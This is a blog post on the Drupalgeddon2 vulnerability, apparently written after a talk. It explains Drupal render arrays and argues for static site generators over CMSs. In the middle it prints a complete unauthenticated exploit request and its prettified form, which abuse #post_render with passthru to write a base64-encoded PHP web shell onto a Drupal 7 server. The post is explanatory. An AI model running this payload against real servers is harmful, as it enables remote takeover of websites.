Drupalgeddon2 and the danger of CMSs
Yesterday I gave a talk on Drupalgeddon2 to a group of security enthusiasts and software developers. Drupal is a content management system (CMS) which powers up to 5% of all websites, including websites of most of the world’s governments, so an unauthenticated remote code execution vulnerability in it is a Very Big Deal.
It has become impossible to ignore the political effects of exploits like this in recent years. The original Drupalgeddon is suspected of being the method used by hackers to obtain the Panama Papers. However, what I want to discuss here are some technical details of the Drupalgeddon2 exploit itself, where it came from, and why using CMSs in 2018 is generally a bad idea.
Since version 6, central to Drupal’s extensibility has been the concept of “render arrays”. Internally, Drupal represents the elements of a page as a tree of structured PHP arrays, somewhat like a DOM for the backend. Eventually, the arrays are fed into Drupal’s rendering logic which transforms them into HTML and sends them to the client. Rendering occurs both when a client initially loads the page, and when making an AJAX request upon submitting a form. Drupal admins and plugin authors can make use of a powerful API to manipulate the data held in these arrays.
Here is an example of a Login Button represented as a render array with the Drupal Form API:
$form['actions']['submit'] = array(
'#type' => 'submit',
'#markup' => '<span>' . t('Login') . '</span>',
'#submit' => array( 'login_callback' ),
'#prefix' => '<button type="submit">',
'#suffix' => '</button>',
);
The flexibility that this provides to web developers is huge. Attributes can be added which specify functions to modify the array at any stage during the rendering process, for instance #pre_render
or #post_render
.
However, this flexibility comes at the cost of a large attack surface.
The Drupalgeddon2 exploit involves getting a render array containing a shell payload directly executed on the backend using one of these rendering function callbacks. In the most polished exploit, popping a shell on a Drupal 7 server is done like so:
/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./s.php
Which, prettified, is submitting the following render array to the ‘reset password’ form:
$name = [
'#post_render' => ['passthru'], // Like exec, passthru 'passes through' to the system and executes a command
'#type' => 'markup',
'#markup' => 'echo PD9waH... | base64 -d | tee ./s.php' // Writes a minimal PHP shell
]
When I demonstrated this exploit to the audience, they were shocked. “You can just send that to the backend and it executes it unauthenticated?” “How does Drupal allow that?”
I think the more interesting question is: “if the vulnerability really is that simple, how did it take seven years for somebody to spot it?”
Perhaps intelligence agencies or other groups were aware of it, but—speculation aside—even after the patch was publicly released, it still took security researchers two weeks to come up with an exploit.
This vulnerability, and those that continue to be discovered, show that Drupal is a web platform that’s perhaps too powerful for its own good. It’s jam-packed with features added by hundreds of contributors since 2000. It has so many features and such complex logic that, even after finding out the vulnerability involved non-whitelisted array keys starting with #
, experts were hunting through the code for days trying to understand how to write an exploit for it.
It’s not just Drupal that’s implicated here. The majority of use-cases for CMSs would be better served by static site generators. Static sites are immune by default to the kinds of crazy vulnerabilities lurking in CMSs. They come with a host of other benefits. Previously, the main disadvantage of static site generators was that they were hard to use for non-technical people, but tooling has improved significantly in recent years.
I don’t know if there will be a Drupalgeddon3, but I’m certain that as long as most of the web runs on ancient, monolithic PHP platforms, huge bugs like this will continue to be found, and will continue to cause great alarm. Or great amusement, if you are ‘that kind’ of person in cybersecurity.
Credit
Check Point Research for being the first to describe the vulnerability.